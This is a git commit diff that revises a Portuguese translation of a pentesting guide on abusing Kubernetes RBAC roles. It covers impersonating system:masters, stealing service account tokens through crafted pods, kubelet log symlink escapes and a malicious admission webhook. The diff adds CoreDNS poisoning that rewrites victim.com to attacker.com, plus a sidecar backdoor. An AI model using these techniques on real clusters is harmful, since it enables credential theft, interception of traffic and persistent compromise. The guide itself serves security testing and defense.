Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus

This commit is contained in:
Translator
2025-04-13 14:33:39 +00:00
parent 7a46374b7e
commit 6ae2c5422d

View File

@@ -1,4 +1,4 @@
# Abusando de Roles/ClusterRoles no Kubernetes
# Abusing Roles/ClusterRoles in Kubernetes
{{#include ../../../banners/hacktricks-training.md}}
@@ -11,13 +11,13 @@ Referindo-se à arte de obter **acesso a um principal diferente** dentro do clus
- Ser capaz de **impersonar** outros usuários/grupos/SAs com melhores privilégios dentro do cluster kubernetes ou para nuvens externas
- Ser capaz de **criar/patch/exec pods** onde você pode **encontrar ou anexar SAs** com melhores privilégios dentro do cluster kubernetes ou para nuvens externas
- Ser capaz de **ler segredos** já que os tokens SAs são armazenados como segredos
- Ser capaz de **ler segredos** já que os tokens dos SAs são armazenados como segredos
- Ser capaz de **escapar para o nó** a partir de um contêiner, onde você pode roubar todos os segredos dos contêineres em execução no nó, as credenciais do nó e as permissões do nó dentro da nuvem em que está sendo executado (se houver)
- Uma quinta técnica que merece menção é a capacidade de **executar port-forward** em um pod, pois você pode ser capaz de acessar recursos interessantes dentro desse pod.
### Acessar Qualquer Recurso ou Verbo (Curinga)
### Acessar Qualquer Recurso ou Verbo (Coringa)
O **curinga (\*) concede permissão sobre qualquer recurso com qualquer verbo**. É usado por administradores. Dentro de um ClusterRole, isso significa que um atacante poderia abusar de qualquer namespace no cluster
O **coringa (\*) concede permissão sobre qualquer recurso com qualquer verbo**. É usado por administradores. Dentro de um ClusterRole, isso significa que um atacante poderia abusar de qualquer namespace no cluster
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -51,7 +51,7 @@ verbs: ["create", "list", "get"]
Um atacante com permissões para criar um pod pode anexar uma Service Account privilegiada ao pod e roubar o token para se passar pela Service Account. Isso efetivamente eleva os privilégios.
Exemplo de um pod que irá roubar o token da Service Account `bootstrap-signer` e enviá-lo para o atacante:
Exemplo de um pod que roubará o token da Service Account `bootstrap-signer` e o enviará para o atacante:
```yaml
apiVersion: v1
kind: Pod
@@ -76,7 +76,7 @@ hostNetwork: true
O seguinte indica todos os privilégios que um contêiner pode ter:
- **Acesso privilegiado** (desativando proteções e configurando capacidades)
- **Acesso privilegiado** (desativando proteções e definindo capacidades)
- **Desativar namespaces hostIPC e hostPid** que podem ajudar a escalar privilégios
- **Desativar o namespace hostNetwork**, dando acesso para roubar privilégios de nuvem dos nós e melhor acesso às redes
- **Montar hosts / dentro do contêiner**
@@ -127,7 +127,7 @@ Agora que você pode escapar para o nó, verifique as técnicas de pós-explora
#### Stealth
Você provavelmente quer ser **mais discreto**, nas páginas seguintes você pode ver o que você seria capaz de acessar se criar um pod apenas habilitando alguns dos privilégios mencionados no template anterior:
Você provavelmente quer ser **mais discreto**, nas páginas seguintes você pode ver o que seria capaz de acessar se criar um pod apenas habilitando alguns dos privilégios mencionados no template anterior:
- **Privileged + hostPID**
- **Privileged only**
@@ -151,7 +151,7 @@ pod-escape-privileges.md
### **Criar/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs e Cronjobs**
É possível abusar dessas permissões para **criar um novo pod** e escalar privilégios como no exemplo anterior.
É possível abusar dessas permissões para **criar um novo pod** e estabelecer privilégios como no exemplo anterior.
O seguinte yaml **cria um daemonset e exfiltra o token da SA** dentro do pod:
```yaml
@@ -197,10 +197,15 @@ Portanto, é possível **entrar em um pod e roubar o token do SA**, ou entrar em
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
> [!NOTE]
> Por padrão, o comando é executado no primeiro contêiner do pod. Obtenha **todos os pods em um contêiner** com `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` e então **indique o contêiner** onde você deseja executá-lo com `kubectl exec -it <pod_name> -c <container_name> -- sh`
Se for um contêiner distroless, você pode tentar usar **builtins de shell** para obter informações dos contêineres ou fazer upload de suas próprias ferramentas como um **busybox** usando: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
### port-forward
Esta permissão permite **encaminhar uma porta local para uma porta no pod especificado**. Isso é destinado a facilitar a depuração de aplicativos em execução dentro de um pod, mas um atacante pode abusar disso para obter acesso a aplicativos interessantes (como bancos de dados) ou vulneráveis (webs?) dentro de um pod:
```
```bash
kubectl port-forward pod/mypod 5000:5000
```
### Hosts Writable /var/log/ Escape
@@ -219,7 +224,7 @@ kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
```
- Se o atacante controla qualquer principal com as **permissões para ler `nodes/log`**, ele pode simplesmente criar um **symlink** em `/host-mounted/var/log/sym` para `/` e ao **acessar `https://<gateway>:10250/logs/sym/` ele listará o sistema de arquivos root** do host (alterar o symlink pode fornecer acesso a arquivos).
- Se o atacante controla qualquer principal com as **permissões para ler `nodes/log`**, ele pode simplesmente criar um **symlink** em `/host-mounted/var/log/sym` para `/` e ao **acessar `https://<gateway>:10250/logs/sym/` ele listará o sistema de arquivos raiz** do host (alterar o symlink pode fornecer acesso a arquivos).
```bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
@@ -247,7 +252,7 @@ allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
Que tinha como objetivo prevenir escapes como os anteriores, ao invés de usar um hostPath mount, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta do host no contêiner com acesso gravável:
Que visava prevenir escapes como os anteriores, ao invés de usar um hostPath mount, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta do host no contêiner com acesso gravável:
```yaml
apiVersion: v1
kind: PersistentVolume
@@ -293,11 +298,11 @@ volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
```
### **Impersonando contas privilegiadas**
### **Imitando contas privilegiadas**
Com um privilégio de [**impersonação de usuário**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia se passar por uma conta privilegiada.
Com um privilégio de [**imitação de usuário**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia imitar uma conta privilegiada.
Basta usar o parâmetro `--as=<username>` no comando `kubectl` para se passar por um usuário, ou `--as-group=<group>` para se passar por um grupo:
Basta usar o parâmetro `--as=<username>` no comando `kubectl` para imitar um usuário, ou `--as-group=<group>` para imitar um grupo:
```bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
@@ -424,7 +429,7 @@ verbs:
```
Então, com o novo CSR do nó aprovado, você pode **abusar** das permissões especiais dos nós para **roubar segredos** e **escalar privilégios**.
Em [**este post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**neste aqui**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), a configuração do GKE K8s TLS Bootstrap é configurada com **assinatura automática** e é abusada para gerar credenciais de um novo nó K8s e, em seguida, abusar delas para escalar privilégios roubando segredos.\
Em [**este post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**este aqui**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), a configuração do GKE K8s TLS Bootstrap é configurada com **assinatura automática** e é abusada para gerar credenciais de um novo nó K8s e, em seguida, abusar delas para escalar privilégios ao roubar segredos.\
Se você **tiver os privilégios mencionados, poderá fazer a mesma coisa**. Note que o primeiro exemplo contorna o erro que impede um novo nó de acessar segredos dentro de contêineres porque um **nó só pode acessar os segredos dos contêineres montados nele.**
A maneira de contornar isso é apenas **criar credenciais de nó para o nome do nó onde o contêiner com os segredos interessantes está montado** (mas apenas verifique como fazer isso no primeiro post):
@@ -477,15 +482,55 @@ groups:
> Você pode usar **`aws-auth`** para **persistência** dando acesso a usuários de **outras contas**.
>
> No entanto, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **não funciona de uma conta diferente**. Mas na verdade `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona se você colocar o ARN do cluster em vez de apenas o nome.\
> Para fazer `kubectl` funcionar, apenas certifique-se de **configurar** o **kubeconfig da vítima** e nos argumentos de execução do aws adicione `--profile other_account_role` para que o kubectl use o perfil da outra conta para obter o token e contatar a AWS.
> Para fazer `kubectl` funcionar, apenas certifique-se de **configurar** o **kubeconfig da vítima** e nos argumentos de execução da aws adicione `--profile other_account_role` para que o kubectl use o perfil da outra conta para obter o token e contatar a AWS.
### CoreDNS config map
Se você tiver permissões para modificar o **`coredns` configmap** no namespace `kube-system`, você pode modificar os domínios de endereço que serão resolvidos para poder realizar ataques MitM para **roubar informações sensíveis ou injetar conteúdo malicioso**.
Os verbos necessários são **`update`** e **`patch`** sobre o **`coredns`** configmap (ou todos os config maps).
Um arquivo **coredns regular** contém algo como isto:
```yaml
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
```
Um atacante poderia baixá-lo executando `kubectl get configmap coredns -n kube-system -o yaml`, modificá-lo adicionando algo como `rewrite name victim.com attacker.com`, de modo que sempre que `victim.com` for acessado, na verdade `attacker.com` será o domínio que será acessado. E então aplicá-lo executando `kubectl apply -f poison_dns.yaml`.
Outra opção é simplesmente editar o arquivo executando `kubectl edit configmap coredns -n kube-system` e fazer as alterações.
### Escalando no GKE
Existem **2 maneiras de atribuir permissões K8s a principais do GCP**. Em qualquer caso, o principal também precisa da permissão **`container.clusters.get`** para poder obter credenciais para acessar o cluster, ou você precisará **gerar seu próprio arquivo de configuração kubectl** (siga o próximo link).
Existem **2 maneiras de atribuir permissões K8s a principais do GCP**. Em qualquer caso, o principal também precisa da permissão **`container.clusters.get`** para poder coletar credenciais para acessar o cluster, ou você precisará **gerar seu próprio arquivo de configuração kubectl** (siga o próximo link).
> [!WARNING]
> Ao falar com o endpoint da API K8s, o **token de autenticação do GCP será enviado**. Então, o GCP, através do endpoint da API K8s, primeiro **verificará se o principal** (por e-mail) **tem algum acesso dentro do cluster**, depois verificará se ele tem **acesso via GCP IAM**.\
> Se **qualquer** um desses for **verdade**, ele será **respondido**. Se **não**, um **erro** sugerindo dar **permissões via GCP IAM** será fornecido.
> Ao se comunicar com o endpoint da API K8s, o **token de autenticação do GCP será enviado**. Então, o GCP, através do endpoint da API K8s, primeiro **verificará se o principal** (por e-mail) **tem algum acesso dentro do cluster**, depois verificará se ele tem **qualquer acesso via GCP IAM**.\
> Se **qualquer** um desses for **verdadeiro**, ele será **respondido**. Se **não**, um **erro** sugerindo conceder **permissões via GCP IAM** será fornecido.
Então, o primeiro método é usar **GCP IAM**, as permissões K8s têm suas **permissões equivalentes do GCP IAM**, e se o principal as tiver, poderá usá-las.
@@ -497,21 +542,21 @@ O segundo método é **atribuir permissões K8s dentro do cluster** identificand
### Criar token de serviceaccounts
Principais que podem **criar TokenRequests** (`serviceaccounts/token`) ao falar com o endpoint da API K8s SAs (informações de [**aqui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
Principais que podem **criar TokenRequests** (`serviceaccounts/token`) ao se comunicar com o endpoint da API K8s SAs (informações de [**aqui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
### ephemeralcontainers
Principais que podem **`atualizar`** ou **`patch`** **`pods/ephemeralcontainers`** podem ganhar **execução de código em outros pods**, e potencialmente **sair** para seu nó adicionando um contêiner efêmero com um securityContext privilegiado.
Principais que podem **`update`** ou **`patch`** **`pods/ephemeralcontainers`** podem ganhar **execução de código em outros pods**, e potencialmente **sair** para seu nó adicionando um contêiner efêmero com um securityContext privilegiado.
### ValidatingWebhookConfigurations ou MutatingWebhookConfigurations
Principais com qualquer um dos verbos `create`, `update` ou `patch` sobre `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` podem ser capazes de **criar uma dessas webhookconfigurations** para poder **escalar privilégios**.
Principais com qualquer um dos verbos `create`, `update` ou `patch` sobre `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` podem ser capazes de **criar uma dessas webhookconfigurations** a fim de **escalar privilégios**.
Para um [exemplo de `mutatingwebhookconfigurations`, confira esta seção deste post](#malicious-admission-controller).
### Escalar
Como você pode ler na próxima seção: [**Prevenção de Escalação de Privilégios Integrada**](#built-in-privileged-escalation-prevention), um principal não pode atualizar nem criar roles ou clusterroles sem ter ele mesmo essas novas permissões. Exceto se ele tiver o **verbo `escalate`** sobre **`roles`** ou **`clusterroles`**.\
Como você pode ler na próxima seção: [**Prevenção de Escalação de Privilégios Integrada**](#built-in-privileged-escalation-prevention), um principal não pode atualizar nem criar roles ou clusterroles sem ter ele mesmo essas novas permissões. Exceto se ele tiver o **verbo `escalate` ou `*`** sobre **`roles`** ou **`clusterroles`** e as respectivas opções de binding.\
Então ele pode atualizar/criar novas roles, clusterroles com melhores permissões do que as que possui.
### Proxy de nós
@@ -549,7 +594,7 @@ Principais com permissões de **`update`** ou **`patch`** sobre `nodes/status` o
Kubernetes possui um [mecanismo integrado](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir a escalada de privilégios.
Este sistema garante que **os usuários não podem elevar seus privilégios modificando funções ou vinculações de funções**. A aplicação desta regra ocorre no nível da API, fornecendo uma proteção mesmo quando o autorizar RBAC está inativo.
Este sistema garante que **os usuários não podem elevar seus privilégios modificando funções ou vinculações de funções**. A aplicação desta regra ocorre no nível da API, fornecendo uma proteção mesmo quando o autorizador RBAC está inativo.
A regra estipula que um **usuário só pode criar ou atualizar uma função se possuir todas as permissões que a função compreende**. Além disso, o escopo das permissões existentes do usuário deve alinhar-se com o da função que ele está tentando criar ou modificar: seja em todo o cluster para ClusterRoles ou restrito ao mesmo namespace (ou em todo o cluster) para Roles.
@@ -569,55 +614,29 @@ O privilégio de criar Rolebindings permite que um usuário **vincule funções
Por padrão, não há criptografia na comunicação entre pods. Autenticação mútua, bidirecional, pod a pod.
#### Criar um aplicativo proxy Sidecar <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
#### Criar um aplicativo proxy Sidecar
Crie seu .yaml
```bash
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
```
Edite seu .yaml e adicione as linhas descomentadas:
Um contêiner sidecar consiste apenas em adicionar um **segundo (ou mais) contêiner dentro de um pod**.
Por exemplo, o seguinte é parte da configuração de um pod com 2 contêineres:
```yaml
#apiVersion: v1
#kind: Pod
#metadata:
# name: security-context-demo
#spec:
# securityContext:
# runAsUser: 1000
# runAsGroup: 3000
# fsGroup: 2000
# volumes:
# - name: sec-ctx-vol
# emptyDir: {}
# containers:
# - name: sec-ctx-demo
# image: busybox
command:
[
"sh",
"-c",
"apt update && apt install iptables -y && iptables -L && sleep 1h",
]
securityContext:
capabilities:
add: ["NET_ADMIN"]
# volumeMounts:
# - name: sec-ctx-vol
# mountPath: /data/demo
# securityContext:
# allowPrivilegeEscalation: true
```
Veja os logs do proxy:
```bash
kubectl logs app -C proxy
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
```
Por exemplo, para backdoor um pod existente com um novo contêiner, você poderia simplesmente adicionar um novo contêiner na especificação. Note que você poderia **dar mais permissões** ao segundo contêiner que o primeiro não terá.
Mais informações em: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### Controlador de Admissão Malicioso
Um controlador de admissões **intercepta solicitações ao servidor API do Kubernetes** antes da persistência do objeto, mas **depois que a solicitação é autenticada** **e autorizada**.
Um controlador de admissão **intercepta solicitações ao servidor API do Kubernetes** antes da persistência do objeto, mas **depois que a solicitação é autenticada** **e autorizada**.
Se um atacante conseguir **injetar um Controlador de Admissão de Mutação**, ele poderá **modificar solicitações já autenticadas**. Sendo capaz de potencialmente escalar privilégios e, mais comumente, persistir no cluster.
Se um atacante conseguir **injetar um Controlador de Admissão de Mutação**, ele poderá **modificar solicitações já autenticadas**. Sendo capaz de potencialmente realizar privesc, e mais comumente persistir no cluster.
**Exemplo de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
@@ -638,7 +657,7 @@ Então, implante um novo pod:
kubectl run nginx --image nginx
kubectl get po -w
```
Quando você pode ver o erro `ErrImagePull`, verifique o nome da imagem com uma das consultas:
Quando você pode ver o erro `ErrImagePull`, verifique o nome da imagem com qualquer uma das consultas:
```bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
@@ -647,7 +666,7 @@ kubectl describe po nginx | grep "Image: "
Como você pode ver na imagem acima, tentamos executar a imagem `nginx`, mas a imagem final executada é `rewanthtammana/malicious-image`. O que aconteceu!!?
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
#### Technicalities
O script `./deploy.sh` estabelece um controlador de admissão de webhook mutável, que modifica as solicitações à API do Kubernetes conforme especificado em suas linhas de configuração, influenciando os resultados observados:
```
@@ -669,12 +688,12 @@ O trecho acima substitui a primeira imagem do contêiner em cada pod por `rewant
### **Desabilitando o Automontagem de Tokens de Conta de Serviço**
- **Pods e Contas de Serviço**: Por padrão, os pods montam um token de conta de serviço. Para aumentar a segurança, o Kubernetes permite a desativação desse recurso de automontagem.
- **Pods e Contas de Serviço**: Por padrão, os pods montam um token de conta de serviço. Para aumentar a segurança, o Kubernetes permite desabilitar esse recurso de automontagem.
- **Como Aplicar**: Defina `automountServiceAccountToken: false` na configuração de contas de serviço ou pods a partir da versão 1.6 do Kubernetes.
### **Atribuição Restritiva de Usuários em RoleBindings/ClusterRoleBindings**
- **Inclusão Seletiva**: Certifique-se de que apenas os usuários necessários estejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança rigorosa.
- **Inclusão Seletiva**: Certifique-se de que apenas os usuários necessários estão incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança rigorosa.
### **Papéis Específicos de Namespace Sobre Papéis de Cluster**
@@ -699,5 +718,7 @@ https://github.com/aquasecurity/kube-bench
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
{{#include ../../../banners/hacktricks-training.md}}